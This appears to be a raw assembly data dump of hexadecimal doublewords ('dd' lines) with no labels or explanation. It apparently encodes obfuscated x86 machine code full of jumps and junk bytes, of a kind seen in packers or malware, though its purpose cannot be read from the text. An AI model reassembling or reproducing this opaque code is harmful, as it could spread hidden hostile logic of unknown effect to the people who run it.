		dd 0FBE5334Ch, 8858548Eh, 819ED65Eh, 8D012BF1h,	12E95A14h
		dd 1F000000h, 677EE77Dh, 0A88463F8h, 0CF4F1179h, 63EC144Bh
		dd 0BE665298h, 80595A65h, 51FCA0C4h, 5EF0BF0Fh,	7C98160h
		dd 667FD037h, 95A4DE81h, 7E861h, 87270000h, 5DF8D12Fh
		dd 0CA8B66AEh, 0FC8B25Fh, 118Ch, 0CE900h, 62310000h, 0F84A6A43h
		dd 64B4F56Ch, 81662FA4h, 0FDE37D0h, 588h, 0D2816600h, 66609869h
		dd 8166FB8Bh, 619682F0h, 0FD38B66h, 380h, 0FAB70F00h, 66CAF580h
		dd 17C4DF81h, 0D65B33BFh, 10E8FC77h, 5A000000h,	0BC4C05B8h
		dd 0F9B2446Eh, 0D6CA0A14h, 0FE34262h, 281h, 595E5700h
		dd 6FB6B966h, 12E95060h, 33000000h, 0A2F1ADF4h,	0FB3832ABh
		dd 0F1F41753h, 30A457CBh, 61F85A48h, 0F7BE280h,	0BF57C6BFh
		dd 1E5AC94h, 0DFDB815Bh, 665027B8h, 810FD98Bh, 13h, 7E8h
		dd 3BCC4000h, 0B685E3F9h, 0C470F181h, 0BF597114h, 5577224h
		dd 0E8D4C180h, 0Dh, 0E4F6A16h, 79EDA472h, 9B23846Ch, 54D9813Bh
		dd 5A107940h, 0F833B853h, 0B6590480h, 66E3B05Dh, 0ED80FA8Bh
		dd 0DEBF0F01h, 66C38BF8h, 0AD62E081h, 0A870Fh, 840F0000h
		dd 4, 6899B966h, 6FC0BE66h, 2CDBBE66h, 80D98B66h, 0DF8BB0D3h
		dd 482BB9h, 6E846h, 0BC270000h,	29FB3EBBh, 1810Fh, 5EF90000h
		dd 12E8h, 0E4178300h, 27AE18CBh, 0D0E4CEC3h, 23395576h
		dd 51DD8B7Eh, 44A9D681h, 5F583BEEh, 9E9F9h, 0E4780000h
		dd 0E352E0CAh, 80AB9F54h, 840F72DCh, 5,	0DC38166h, 9E95Eh
		dd 0A0590000h, 50ED45A3h, 5172C096h, 5F616057h,	7890F59h
		dd 0F000000h, 181h, 6EB8F800h, 0E90F1531h, 10h,	9FE42BFAh
		dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah, 4C53B966h, 12840Fh
		dd 870F0000h, 0Ch, 7E9h, 4B190800h, 1CC24FEEh, 3850Fh
		dd 0BF0F0000h, 0C18053C6h, 8C0F5E0Eh, 16h, 11E9h, 6C53800h
		dd 67B48E1Bh, 0B4F9129Eh, 410F4B08h, 5850ADD0h,	30E8BA57h
		dd 0E958633Ch, 9, 91EA6BC9h, 0CFFB8404h, 8E947h, 0FB150000h
		dd 9DF3275Eh, 11E92D1Fh, 33000000h, 548EFBE5h, 0D65E8858h
		dd 974AF39Eh, 3704BAB2h, 0E96060F5h, 0Dh, 0AEF3A229h, 354CAC48h
		dd 583351DAh, 0C2BF0FA1h, 6102B561h, 0D9BEC2B7h, 0FC4488C0h
		dd 0EE8F8h, 99880000h, 55C34485h, 0B07DBEA4h, 0D535693Dh
		dd 7E8h, 0FDBF7B00h, 10786099h,	665B58FCh, 0F9661CBAh
		dd 0FDF98DBBh, 0F31B17Dh, 286h,	0FC18B00h, 8166C6BFh, 602A9AE3h
		dd 5A8BB556h, 0CE961h, 2FC0000h, 0D69D0886h, 0B69A7993h
		dd 8B663606h, 0FC38BDAh, 0B866C8BFh, 0F502A63h,	286h, 5BF88A00h
		dd 9E9F5h, 8DB90000h, 4E6EE657h, 0BEBC00FAh, 3951AFD0h
		dd 19E78166h, 0CE81Dh, 8F0C0000h, 2A227F29h, 5548FD3Ch
		dd 0CF80659Bh, 0F515AADh, 68Bh,	830F00h, 58000000h, 48B0Fh
		dd 0BF660000h, 8B5247EFh, 0CA815BF2h, 6DE6938Fh, 0BE9F5h
		dd 8A4F0000h, 0DA6F7B42h, 4C785CE3h, 0DB12BE81h, 0CA8B062Ch
		dd 0EE8h, 27D6C900h, 0DA43927Bh, 2F1E385Fh, 6634356Eh
		dd 5B8EF4BBh, 3880Fh, 0C5800000h, 15D38190h, 666BDE45h
		dd 0B7A3E3BBh, 2850FB4h, 0B4000000h, 0EC52BA19h, 840F7BD8h
		dd 0Fh,	0AE9h, 0C6EAAE00h, 0DCE0F448h, 0B2F40931h, 57DF8105h
		dd 0E940148Ah, 0Bh, 3DB5DF6Fh, 3225AA1Ch, 0FA415E2h, 148Eh
		dd 0FE900h, 928C0000h, 7649B85Eh, 2AF691CCh, 0D636DBC8h
		dd 0C78B6006h, 71EB8166h, 10E861E5h, 0C000000h,	3548DDC3h
		dd 3FD611EEh, 30C95BD0h, 0E9DB0A67h, 14h, 20640012h, 0E6505DB2h
		dd 87ED7281h, 0E91A2335h, 55EF6586h, 0B860F55Bh, 2C3EFE2Bh
		dd 0C9D68166h, 0FF861D5h, 589h,	0C8816600h, 0BE66B078h
		dd 890F98E1h, 0
		dd 66F8BF0Fh, 0BB82E281h, 10E9h, 0A1C70A00h, 89F46FB5h
		dd 0FAFAC8C3h, 73B7BD14h, 4815B95Fh, 0BF0F201Ah, 57F380D7h
		dd 0F8ADC80h, 28Fh, 81DE8A00h, 0CA3D4AE2h, 74C1807Eh, 0F4B8ECBFh
		dd 0EE816675h, 8AF99358h, 0E95BB0D9h, 9, 295026E4h, 297440AAh
		dd 0C6BF0FE6h, 0F5F0C280h, 47E98CB8h, 495BE19h,	51F84DA2h
		dd 890F58h, 0E9000000h,	10h, 0C1670DE0h, 0E643689h, 0C6DAB8F9h
		dd 0EA09AF38h, 0FF2DE80h, 12E9C1B7h, 94000000h,	0C8F215C8h
		dd 0D2FC57B3h, 0D85F3AF5h, 41DB89DCh, 0FF68164h, 0F283C11h
		dd 8166F2B7h, 0FB201C3h, 10E9FABFh, 0F6000000h,	0F8546E8Ch
		dd 8D1CEEC6h, 0AC92DA1Ch, 0B68435BEh, 1D8B0F14h, 0E8000000h
		dd 12h,	22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 59BF1855h
		dd 5E445431h, 2810Fh, 0D88B0000h, 0CB8160FCh, 6F123883h
		dd 251BBA61h, 0BA665AE1h, 60F8AEFCh, 830F56h, 5A000000h
		dd 0CC16C281h, 0E8613C37h, 12h,	7B20A38Dh, 0FABD69F5h
		dd 4708809Dh, 1D53E9C1h, 0E78169EEh, 5921F77Ah,	55CB805Fh
		dd 0E960EEB7h, 0Eh, 828D5252h, 0EFBF5DFBh, 5885250Fh, 8A0FE7B3h
		dd 6, 0F73CDB81h, 8161628Dh, 0C004A9E1h, 0FE92Bh, 0B15A0000h
		dd 0DDBAA568h, 0C251DB39h, 0D6B6EAFEh, 9E986h, 841B0000h
		dd 578A9220h, 668ECECDh, 7BE8C981h, 9E9h, 91779300h, 4055B70Fh
		dd 0FE93A29h, 32000000h, 0E7A33AA1h, 6D25F34h, 0E303382Ah
		dd 0CE89597h, 97000000h, 6A53A0A9h, 1A98357Ah, 0E95FECD0h
		dd 0Eh,	0BEED93CAh, 59F5EB04h, 56B66A17h, 0F5AE2B7h, 8E8C3BFh
		dd 32000000h, 0DA8634D0h, 0F32EE44h, 0E88h, 9E900h, 0B48D0000h
		dd 3A4199FCh, 5F1233C3h, 0DEB70F60h, 61D3BF0Fh,	0EE9h
		dd 0C08F4D00h, 2A7BDF75h, 76C428DBh, 0BF3B4E11h, 59FE04DCh
		dd 0E9CFBF0Fh, 10h, 0FF763AD2h,	0EFE606E6h, 404118Ch, 0AE13ABC9h
		dd 0CE9h, 67157700h, 0B0975819h, 0D3A4D897h, 4AB960BFh
		dd 601D590Dh, 0FFFBF0Fh, 6161FFB7h, 5860Fh, 0A4BB0000h
		dd 0B919D716h, 2541FD56h, 0BE66D18Bh, 8B66F9F8h, 60D98BD3h
		dd 6060CBB7h, 61D48A61h, 8B605761h, 0B25861C7h,	9E96Ch
		dd 0BF7A0000h, 8E62EA22h, 0FB44C9Dh, 850FD8B7h,	0
		dd 6650DA8Bh, 59FA7ABBh, 48C68166h, 0AE85Dh, 709E0000h
		dd 896288Dh, 2AF7FF0Dh,	13E9h, 0A51C8600h, 0F72625A6h
		dd 0BF25E91Bh, 0F70890E7h, 84C168BDh, 0F6BF0F5Ah, 0F9F18166h
		dd 6870FBBh, 81000000h,	9DBF87D8h, 8B66FC70h, 6E8CFh, 0A4310000h
		dd 21CB5B5Ah, 5AF98B66h, 0B81FBEF5h, 90B62680h,	57BDBA66h
		dd 8F0Fh, 0E18A0000h, 11E9h, 0BA835A00h, 365EE80Bh, 3307D993h
		dd 412BADB6h, 8166B554h, 8A13EED0h, 0D0ECBFCAh,	0E8FC3ED6h
		dd 14h,	278A0218h, 6328507Fh, 1CCE2B34h, 0E459D06Dh, 0A16BFEA5h
		dd 5BCB8B66h, 21D8E9B8h, 9E819h, 34EA0000h, 94379F90h
		dd 0BF17998Ah, 25F98DBBh, 86BF665Fh, 5C8818Ch, 8170B538h
		dd 0F319C3F6h, 19B8661Bh, 1DF9BAAEh, 830F4D35h,	0
		dd 6860Fh, 0C1810000h, 77C9FF5Eh, 0CA81EE8Ah, 4F8E8F65h
		dd 0FFB8B60h, 0E961F1BFh, 8, 49BA29C0h,	0BAA70860h, 0AE960h
		dd 0B9540000h, 0FD288ABDh, 0F24D6A1Ch, 39B33ABEh, 0CE96100h
		dd 0B000000h, 7A758D97h, 59C11736h, 0F42DC7Bh, 0BF0FC2BFh
		dd 6E9D8h, 8C6C0000h, 75CC1A9Ch, 0AF78E881h, 0B70F4CF5h
		dd 2E77B8F2h, 0B70F7360h, 0CA8B66D6h, 168C0Fh, 0E8600000h
		dd 8, 0C3B56DABh, 0DF9CBF54h, 5AF6815Bh, 6148D600h, 7E26EE81h
		dd 14E86543h, 72000000h, 562944BBh, 0F5A63570h,	3E338FB6h
		dd 0B7D5D523h, 66689F9Bh, 5F00E2BFh, 1A50DF81h,	13E87A7Fh
		dd 6C000000h, 1E8DB653h, 2F356EAh, 63E3EFA3h, 0F705C581h
		dd 0BE937B0h, 76000000h, 37780D23h, 0A57D2577h,	605E8C3Dh
		dd 6659F953h, 61F5BAB8h, 0BA553DBBh, 0ACCB8008h, 8A0FF8FCh
		dd 2, 0F780F1B4h, 8810F7Fh, 0F000000h, 287h, 0E95F5300h
		dd 6, 0AEE932E2h, 816638A6h, 0FD583F3h,	782h, 0BF0F6000h
		dd 616160D3h, 10E9h, 5C062C00h,	38CB444Dh, 0F0C21B7Ah
		dd 7D309FB3h, 0CF8B6682h, 88F0Fh, 8B0F0000h, 2,	13E95956h
		dd 0EF000000h, 8630A294h, 93E091CEh, 0AF091AC3h, 49636BD0h
		dd 8166027Fh, 66AD3DE8h, 3B51DE81h, 0A78BBF66h,	0B8A0Fh
		dd 6E90000h, 72000000h,	1B6FA28Dh, 0F7EB81A1h, 806B1F26h
		dd 0FABE68E5h, 0B94AC437h, 36F9A84Dh, 0A8C08166h, 0FBB6643h
		dd 0CA8BF59Dh, 9E8h, 6542C400h,	76DE8A23h, 8B6618BBh, 850F59CEh
		dd 5, 34C88166h, 0C2816641h, 66F9AF38h,	0F357DF81h, 13E953h
		dd 31520000h, 0F1B22C27h, 30AE4B59h, 99A681D2h,	2A10C2FBh
		dd 8E95F82h, 8C000000h,	3C6822C5h, 66F8893Bh, 8ECEE381h
		dd 81FBBF0Fh, 5965B7CFh, 0F6816651h, 0BB662798h, 0B966CCE2h
		dd 0EA8A892Ah, 0A5D0BE66h, 10E9h, 3CFCA900h, 159F7ECFh
		dd 0EDB50FFFh, 0A17723C0h, 1C98185h, 0E86C58FEh, 9, 1465FD33h
		dd 4CDB0E16h, 0C68B663Ah, 4E56BA5Ah, 6652527Dh,	0F58D98Bh
		dd 820FF8B7h, 3, 81DA8B66h, 0EBA457E6h,	0D6BF0F26h, 0EE8h
		dd 0F271A00h, 5BB442EDh, 0D82379Dh, 5AF03D01h, 14E8h, 11398300h
		dd 47D1648Fh, 5F4A2B40h, 0DB7AF828h, 75DD9E18h,	5ACB8A4Ah
		dd 820F6053h, 0
		dd 5E61B7B6h, 66D8F480h, 6655B9BAh, 0E9AC73BEh,	11h, 0AB05A1F7h
		dd 0EE628A6Fh, 0F23E2000h, 0C17DE923h, 0D18B6647h, 0BD0FABBBh
		dd 0B6F08A00h, 6FBF6629h, 0F0B70FDBh, 0AE9h, 5027500h
		dd 0C679E74Eh, 56F0A31Dh, 406BD281h, 0BF5F3234h, 3A996967h
		dd 8E0FC88Bh, 0Dh, 8E9h, 30323300h, 0CB06F576h,	0EF8166A2h
		dd 0FE9F473h, 86000000h, 0A7A37A30h, 210CF12Fh,	0F8B6042h
		dd 3DB6F981h, 507FBEF9h, 0E88A02D6h, 9E9h, 0C9628700h
		dd 65234E89h, 0B86675FAh, 13E9E633h, 85000000h,	3AA6A23h
		dd 275EFB15h, 2D1F9DF3h, 8DBE34C8h, 0C1815B96h,	1A603A4Eh
		dd 0A1EE8166h, 880F511Bh, 0Bh, 6E9h, 0D6D1E500h, 5FFD06FFh
		dd 0FE9F5h, 0DBBE0000h,	62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h
		dd 7DBB660Bh, 585660D9h, 0EE8h,	0C783FD00h, 8E18AB40h
		dd 0FDB1F5Bh, 60EF2E51h, 66615961h, 0FDD4EB8h, 8Ch, 6E900h
		dd 5EC90000h, 0E3136E25h, 0DF816660h, 8166000Fh, 613358F7h
		dd 0DA8B52FCh, 0F67B65Fh, 588h,	6DD0B800h, 72B9260Fh, 0F117BEBh
		dd 47B1DFBFh, 66C78B66h, 0F391DBFh, 583h, 813B800h, 0CC8A4392h
		dd 0CB816651h, 53599924h, 0A17BBB66h, 47CA815Fh, 6669D186h
		dd 664B9AB8h, 6660F38Bh, 288CCB81h, 0CE8h, 7CD35300h, 4E26AA5Fh
		dd 1AD47E82h, 0F615914h, 890FFFBFh, 0
		dd 22D88166h, 0DA76BBCAh, 0BF661338h, 5E9218Bh,	77000000h
		dd 0E7F71204h, 8BF9D2B1h, 0BB5EB9F8h, 0BA66469Eh, 8D0FA7BBh
		dd 17h,	12E9h, 1D343D00h, 604D4099h, 0ECD80FECh, 607D6EA7h
		dd 0E980F33Ch, 13h, 0DB9A7C20h,	72F737F8h, 0E26B01B3h
		dd 0DD65DC54h, 8AF36FCAh, 60DA8BDEh, 61F5FA8Bh,	559164BEh
		dd 0F7EB72Bh, 68Ah, 81DB8100h, 0E95CCED6h, 8, 94D32B87h
		dd 0A17C5DE6h, 2880Fh, 2CB20000h, 0A5C08166h, 0C38166CDh
		dd 0BF0F853Dh, 0FC68BC2h, 0E960C2BFh, 7, 0A6AEE932h, 0F058F38h
		dd 184h, 0E861F900h, 0Bh, 57D9838Fh, 2D4DE792h,	661523FEh
		dd 194AF681h, 5830F5Bh,	0B9000000h, 4E84847Dh, 5840Fh
		dd 94BA0000h, 0E919750Eh, 0Ah, 2647C710h, 62F4B281h, 0D88057A8h
		dd 5860F3Ah, 0B9000000h, 28F301F6h, 138B0Fh, 0AE80000h
		dd 1A000000h, 1FCE6CBBh, 53198014h, 0F1BF0F0Dh,	0DAB70F58h
		dd 0F8CA8B66h, 58C0Fh, 0F560000h, 0F58C1B7h, 882h, 28C0F00h
		dd 8B000000h, 0D8CA81DAh, 607CE9F5h, 0E6171EB9h, 14E975h
		dd 0DCDD0000h, 0B05C1B1Ch, 106CA522h, 0F99904D4h, 0D647B7A1h
		dd 0F6120E5h, 14E8F9B7h, 0E1000000h, 5E8F856h, 0F38263Ch
		dd 0BF4565D4h, 0B193EE47h, 0B874AEC7h, 471AB352h, 0A7CEB95Eh
		dd 0BA6615C4h, 8D0FEC7Ah, 3, 51FB8B66h,	0CCBE6059h, 0F93F7885h
		dd 13E961h, 6430000h, 6DC0D779h, 8E20302Ch, 0C38DDB3h
		dd 0CA4D325Eh, 0C281667Fh, 0EBEB3A7h, 51153885h, 0CD857ABEh
		dd 0F575949h, 182h, 0F55FF800h,	60605956h, 74BF6160h, 615B5F0Ah
		dd 0C88B6661h, 3800Fh, 0DB800000h, 830F6Ch, 0F8000000h
		dd 0E4C68166h, 12BE6665h, 0FABF662Dh, 0DE966h, 827C0000h
		dd 72E90ED4h, 0AF9CAF85h, 0FC844C0Dh, 12E9h, 43BB4F00h
		dd 9879B14Dh, 0F0A8E50Eh, 0F551C459h, 66D71F07h, 4FB2F281h
		dd 58EF8166h, 8E9F7h, 67E30000h, 0E4A1F4C7h, 880FA1ADh
		dd 1, 0F88B66FCh, 0F3D534B9h, 0ADD08147h, 66212AE4h, 0F7654BBh
		dd 5FBBC2BFh, 0F0306C5h, 8Fh, 443FB800h, 8B662A67h, 0F2B70FF8h
		dd 5E8F8h, 0A44F0000h, 0E997F1E8h, 6, 117A0EC7h, 0E95F0BCAh
		dd 0Eh,	3D6C60CDh, 0D863ACCDh, 0E88350E0h, 8B0FA9E6h, 4
		dd 7EE6BF66h, 0DE9h, 5923E200h,	0FD1F6DC5h, 0F7543B39h
		dd 10E979E9h, 0A5000000h, 614B2A4Bh, 42C56CA8h,	0B8F0C11Ch
		dd 0E9B37E9Bh, 0Eh, 0FC86FE46h,	80C6F273h, 0C9CCCEDBh
		dd 0BB665B43h, 816642A8h, 6667B5D1h, 8B66DA8Bh,	46B653D9h
		dd 4CDB8158h, 0F81ED061h, 1303BB66h, 0E8DBB70Fh, 5, 0FCC17082h
		dd 665BF814h, 8F83F381h, 890FF58Ah, 0Dh, 8E9h, 0DE4B2900h
		dd 65667A45h, 0F381668Fh, 6E8E937h, 0AE000000h,	8CB45DAEh
		dd 8F0F5E24h, 8, 2860Fh, 5A520000h, 7E860h, 66630000h
		dd 1101993Ch, 0E7816627h, 665F1CA3h, 3546E681h,	0E9816661h
		dd 4BBC285h, 0E869F1CEh, 0Ah, 0ED54F972h, 783B6D29h, 880F4AA5h
		dd 0
		dd 14E85Bh, 42ED0000h, 379D5BB4h, 3D010D82h, 0D4B504F0h
		dd 6792D76Bh, 12E9B41Ch, 6F000000h, 0D189226Ch,	0A1F224B2h
		dd 5CBCBA7Ah, 854FA703h, 81665B7Ah, 0BEC35EF3h,	50A815E6h
		dd 7E8D18Bh, 0BE000000h, 0AB398DB3h, 0B96626A3h, 815FA085h
		dd 0D622DBF7h, 5E910h, 77610000h, 0F0E471Fh, 8F0FFBBFh
		dd 8, 820F56h, 5E000000h, 0AE9h, 29AB0F00h, 5157EE23h
		dd 0F948A5C6h, 0FD11BA66h, 0AAE08166h, 0D1B70FC0h, 5F92B456h
		dd 0CE9h, 7E97A600h, 0C58B8697h, 66048BB7h, 34F280DFh
		dd 3880Fh, 8B660000h, 0BF6660CAh, 0C88158AAh, 141B87D1h
		dd 0BE961h, 68A50000h, 32B04C59h, 0BA66B99Fh, 12E990h
		dd 0B0FC0000h, 68493202h, 8AD81DADh, 193BACE5h,	0CB2B9FD4h
		dd 7E8h, 0A836A00h, 9A01E0EFh, 0E959D38Bh, 7, 0FFCE283h
		dd 0E92AE368h, 0Bh, 0E3E68226h,	396AD008h, 818D954Ah, 2370FDFh
		dd 890FF966h, 17h, 12E9h, 0D9F2600h, 0A0FAEE3Ch, 0E0B00ABAh
		dd 905FC2F8h, 66FD1350h, 0CE8D98Bh, 18000000h, 0F0CE775Ah
		dd 2DDC1C0Fh, 66EBE3B7h, 5955F3BFh, 5E9h, 0CDDF3700h, 0FC5729C6h
		dd 0DEBF0F58h, 5E8F38Bh, 0CD000000h, 5DBC7121h,	0E830Fh
		dd 8E80000h, 2D000000h,	4EF3C284h, 5A402765h, 8166F55Ah
		dd 6089E9D8h, 1A810Fh, 14E80000h, 38000000h, 0CBB0BB8Eh
		dd 428B7524h, 0A418932h, 4894CD95h, 5E5E0FC2h, 10E8h, 6020C200h
		dd 2E0DB1B9h, 0D60DE9D3h, 1F79FE43h, 5ADA8B29h,	15A5BA61h
		dd 0E18A24F1h, 0CC05BE66h, 2EBA66h, 585150B5h, 5BF78A56h
		dd 0FD1B70Fh, 6660DBBFh, 61F0EABFh, 0B6CF73BAh,	60CB8B16h
		dd 6FFABE66h, 68E0Fh, 850F0000h, 0
		dd 12E9FC61h, 2E000000h, 590E0473h, 1AE799BAh, 0AFEE225h
		dd 0E6C9091Ch, 0FCD78BB8h, 1C42BFF9h, 0BF0F2C57h, 0B0C781C7h
		dd 66495BB0h, 8E1F181h,	66C6B70Fh, 0F803D381h, 61605057h
		dd 8E0F585Bh, 6, 29E9E181h, 0FFC615Eh, 281h, 80A1B500h
		dd 0F60C0EAh, 61F5CFB7h, 5D4BBA66h, 0D37FBF66h,	3820Fh
		dd 0E7800000h, 0BE94Dh,	0AD1E0000h, 0F7FB0CC3h,	0C87D4656h
		dd 73F8BEE4h, 0F537979h, 281h, 59DE8B00h, 8E9F5h, 0AFC50000h
		dd 0E793845Ch, 800FD124h, 5, 0F8BA81B9h, 81CA8A01h, 0D06C4E3h
		dd 56C88B22h, 210AB850h, 5F5A4BEAh, 88B0Fh, 0F520000h
		dd 8Ah,	0F505B00h, 0E959C9B7h, 9, 0D3ADAE3Eh, 0CF210316h
		dd 8E90Dh, 7E270000h, 2E300A7h,	0CE84333h, 9F000000h, 0D2FEFA04h
		dd 1EA3E3AFh, 0E8FD6C20h, 0Ch, 45D2EC75h, 8A6FE66h, 0DA5603BDh
		dd 0B9665959h, 0DE91055h, 63000000h, 0F7E443C4h, 0C58D67F9h
		dd 0AEFF6E19h, 2C4FF2B9h, 0C93BE7Eh, 0CE95105h,	0DA000000h
		dd 2A86042Bh, 0F588F5B8h, 0E91E72D8h, 6, 0E692C404h, 595212F3h
		dd 8BBEC080h, 0AE8DFh, 0AC740000h, 0FCBDA3D8h, 0ABA57B70h
		dd 0AE9h, 648C7400h, 577173Ch, 59E90BA1h, 5E9h,	4D9AA600h
		dd 10E9E022h, 64000000h, 4E5A891Dh, 0A5230E2Eh,	56C3EF83h
		dd 0E9E09D9Ah, 5, 6E7A7D18h, 8156609Ah,	95A1BED7h, 0E960591Dh
		dd 0Fh,	637247A3h, 699B9906h, 0AA0098EBh, 61ABABE1h, 0F5D88161h
		dd 0BA483AECh, 59E68424h, 0F15F680h, 8Ah, 12E900h, 620D0000h
		dd 83A65B47h, 0F65802E6h, 0D4284B13h, 0FB5F931Ch, 810FFC60h
		dd 4, 0EF77BF66h, 0AE961h, 62890000h, 6A5C556Bh, 9BE9D90Dh
		dd 68B0F60h, 0F000000h,	85h, 28B0F00h, 8A000000h, 0DF8B61D4h
		dd 441EBB66h, 34C43CBBh, 0F53531Ah, 88h, 60595A00h, 0B1F38B60h
		dd 14E961F3h, 0EE000000h, 9304B7Bh, 5DC7485h, 2CB156B8h
		dd 25C0DF14h, 61136690h, 0FC0BF0Fh, 480h, 0C3BA6600h, 66BF66E3h
		dd 0B8EA816Ah, 665645E3h, 0F568E881h, 0DE9h, 0FD62100h
		dd 0D1D8DA22h, 82750553h, 0EE89DD3h, 0FC000000h, 0D57EE54Ch
		dd 4B87382h, 0CB6827BDh, 8D0FFCh, 59000000h, 0EE9h, 92254A00h
		dd 8DB2705Dh, 8C89C762h, 66794F6Bh, 0F89D3BFh, 786h, 81665300h
		dd 5AE583DAh, 315D25BAh, 0C88B6628h, 7E8h, 3D9BCD00h, 90929612h
		dd 9E9h, 939FCC00h, 0BAB06490h,	80588E3Ah, 5E8F2EBh, 0FB000000h
		dd 0DD61067Bh, 58E6CB80h, 5E8h,	40E88D00h, 8E957C2h, 0F4000000h
		dd 0ABA2F1ADh, 5AFB3832h, 0D6BF0F60h, 6110D280h, 0BF42BE66h
		dd 168D0F60h, 0E9000000h, 11h, 0A0A2A439h, 473FA352h, 0A9C5DD6Eh
		dd 0C27BF706h, 66606190h, 0D510DE81h, 0EE8h, 4FA3A200h
		dd 0C3EA2DA1h, 2879A163h, 0E9A22FC2h, 11h, 997AC67Ch, 0F5654427h
		dd 0C55772B3h, 921B59Bh, 0B0615F04h, 0BEEF81BCh, 0E81233EDh
		dd 14h,	0C5670197h, 1607866Bh, 0B7A50F6Fh, 0FD75EEBh, 0EC40F21Dh
		dd 28F0Fh, 61600000h, 2DB8665Eh, 0C68B66DAh, 5E9h, 0DA91C800h
		dd 7DBAE175h, 0F838F69Fh, 81D9B70Fh, 69FFAEE8h,	7E867h
		dd 6C020000h, 0D1D577E7h, 0C78B6666h, 810F6058h, 0Ch, 7E9h
		dd 0B9A71D00h, 2587E1Eh, 6661E28Ah, 0FC1335BAh,	38E0Fh
		dd 0B70F0000h, 816060FFh, 4471EFD2h, 61F38B7Fh,	4890Fh
		dd 0BA660000h, 666198FCh, 8E9D78Bh, 4C000000h, 1FBEB602h
		dd 600F7A04h, 9CEFE981h, 0B9B94538h, 61128E2Ch,	13E9h
		dd 20C59A00h, 43C04Dh, 4203496Fh, 0FC79DD7Ah, 223DEBECh
		dd 0F7D2B866h, 2CCB8156h, 58714793h, 5E78BFF9h,	81662552h
		dd 0E9CF8AC3h, 14h, 6E86D014h, 3EF4EE2Eh, 850E787Eh, 0CA724C33h
		dd 0BC69122Eh, 8BF08B66h, 0FDD281F8h, 51647AC3h, 0D5805AFCh
		dd 0D68B6690h, 8C0Fh, 0B8660000h, 8B66AE09h, 0D28166CEh
		dd 860F5394h, 19h, 138D0Fh, 0DE80000h, 0CC000000h, 4404D1A3h
		dd 0E0F27D60h, 0E048722Ah, 890F5Fh, 0F9000000h,	5408C081h
		dd 6E86BCCh, 72000000h,	0BBCE905Dh, 0EE9F0h, 83830000h
		dd 556A42Dh, 61B3D25Ah,	0A3752C80h, 5E8F55Fh, 4B000000h
		dd 0CB8BBC17h, 9CBED781h, 535A6251h, 815AFA8Bh,	433CBEC1h
		dd 0BBC78A48h, 461FB9C5h, 1893E181h, 11E937A9h,	0D5000000h
		dd 0F21A0208h, 90F53087h, 59380096h, 8E303A3Ch,	5FD01FBEh
		dd 0EBBA6641h, 48EB8197h, 0B775DF20h, 6880F29h,	0F000000h
		dd 89h,	76D68100h, 0E91B3E2Ah, 0Eh, 59C912CEh, 89590FF3h
		dd 1AA508BEh, 9E88B5Bh,	85000000h, 0E867031h, 0B6CB2ACBh
		dd 5AD38B66h, 0BE9h, 0DE0E4300h, 0B88C6892h, 7EE41C77h
		dd 873BE181h, 11E9020Dh, 0FF000000h, 0BEC5603Ch, 0D6FD6AACh
		dd 0AED3A5B3h, 0FD1B6BE8h, 0C30AE981h, 81F828C7h, 7AF737D6h
		dd 53C38052h, 0B2C2BF0Fh, 0CBBF0FD8h, 86BEEA8Ah, 0F2673F9h
		dd 0CE8BC9BFh, 1ED3B866h, 7FEABE66h, 66DFB70Fh,	0FC6D98BEh
		dd 6E960h, 95F0000h, 86277B3Ah,	18E0F61h, 0F8000000h, 4FB95CB6h
		dd 663D6980h, 53B64EBBh, 10E8h,	0BD21A100h, 249A9762h
		dd 7CD00ADAh, 0AE5785AAh, 595F5244h, 0BA6CBB58h, 0E9F83752h
		dd 0Ch,	6CF91A13h, 6897104h, 8964C7D7h,	75E68166h, 2ED38180h
		dd 665A24C5h, 8166FA8Bh, 57800DD2h, 10E860h, 6A80000h
		dd 0C17082C0h, 842F14FCh, 0E60CE044h, 665B3245h, 5B61DF8Bh
		dd 0FDEBF0Fh, 0E953D3BFh, 0Bh, 0E8A0187Dh, 298EF69Dh, 5A62F988h
		dd 4C79B866h, 12E9h, 0FB6A5A00h, 29392BA5h, 58D0E6F1h
		dd 0E4E2DB14h, 8B716CF4h, 919DBFF7h, 8F0F20D9h,	0Ch, 6810Fh
		dd 8B0F0000h, 0
		dd 13CA8166h, 5830F33h,	0B8000000h, 29774D7Ch, 9890Fh
		dd 0B9600000h, 6D45E29Fh, 0E9616160h, 11h, 3AF40AC6h, 48F13338h
		dd 0A4B75839h, 83402F90h, 5830F98h, 0BE000000h,	6F694279h
		dd 10E9h, 0DDD2600h, 57FFAD02h,	0A8D81B68h, 3B5D1F0Dh
		dd 0E3B66088h, 0FA477BEh, 80606126h, 66615AEAh,	1584C681h
		dd 13E9h, 3EF4EE00h, 850E787Eh,	0CA724C33h, 0BC69122Eh
		dd 74EFDE15h, 8E9h, 0C78E2C00h,	2E645665h, 0EE9C4h, 0A7580000h
		dd 0C4542A8Ah, 610727E2h, 775DC38Ch, 0DE9h, 78E4B600h
		dd 97A5AF84h, 0FD928577h, 2FB90F4Eh, 0F250674h,	184h, 0FB8BF800h
		dd 81D98B66h, 1953D2C2h, 810F0Ch, 0E9000000h, 0Ah, 14A87921h
		dd 0DAED976Bh, 0EF80D8D9h, 9870F8Bh, 0F000000h,	38Dh, 0B7CD8000h
		dd 38C0Fh, 0B70F0000h, 29D780C8h, 8B6660FCh, 8B6660D1h
		dd 816161DEh, 60CD1ADAh, 0E960602Dh, 0Ch, 440887BAh, 0BB18FA4h
		dd 29C55D59h, 0CE8h, 0FBC57700h, 6E9C20AEh, 0C38A8664h
		dd 66615BC3h, 6183A6B8h, 1850Fh, 80F80000h, 0B70FBDF7h
		dd 0DF8B66D6h, 10E8h, 7D857800h, 0FF344745h, 0B690D5D4h
		dd 9102493Ch, 0CBB4536Ch, 60575F5Eh, 14E8h, 47611000h
		dd 9D6CC050h, 85736592h, 82030986h, 67BC13E1h, 5F615916h
		dd 5FA55CB8h, 0CE864h, 17290000h, 87DD507Ah, 8F293FA5h
		dd 40B9426Ch, 5B302813h, 0C78B6660h, 3860Fh, 0CA800000h
		dd 15B861EAh, 0F03CE3Ch, 8A0FD7BFh, 0
		dd 0DEBF0F50h, 0FE95Bh,	0A3470000h, 0C6128D62h,	89FC4420h
		dd 3E16043Bh, 0EE9A8h, 0F3CA0000h, 0E4345E36h, 602ADE16h
		dd 107AD723h, 66D38B66h, 800FCF8Bh, 17h, 12E9h,	946FD500h
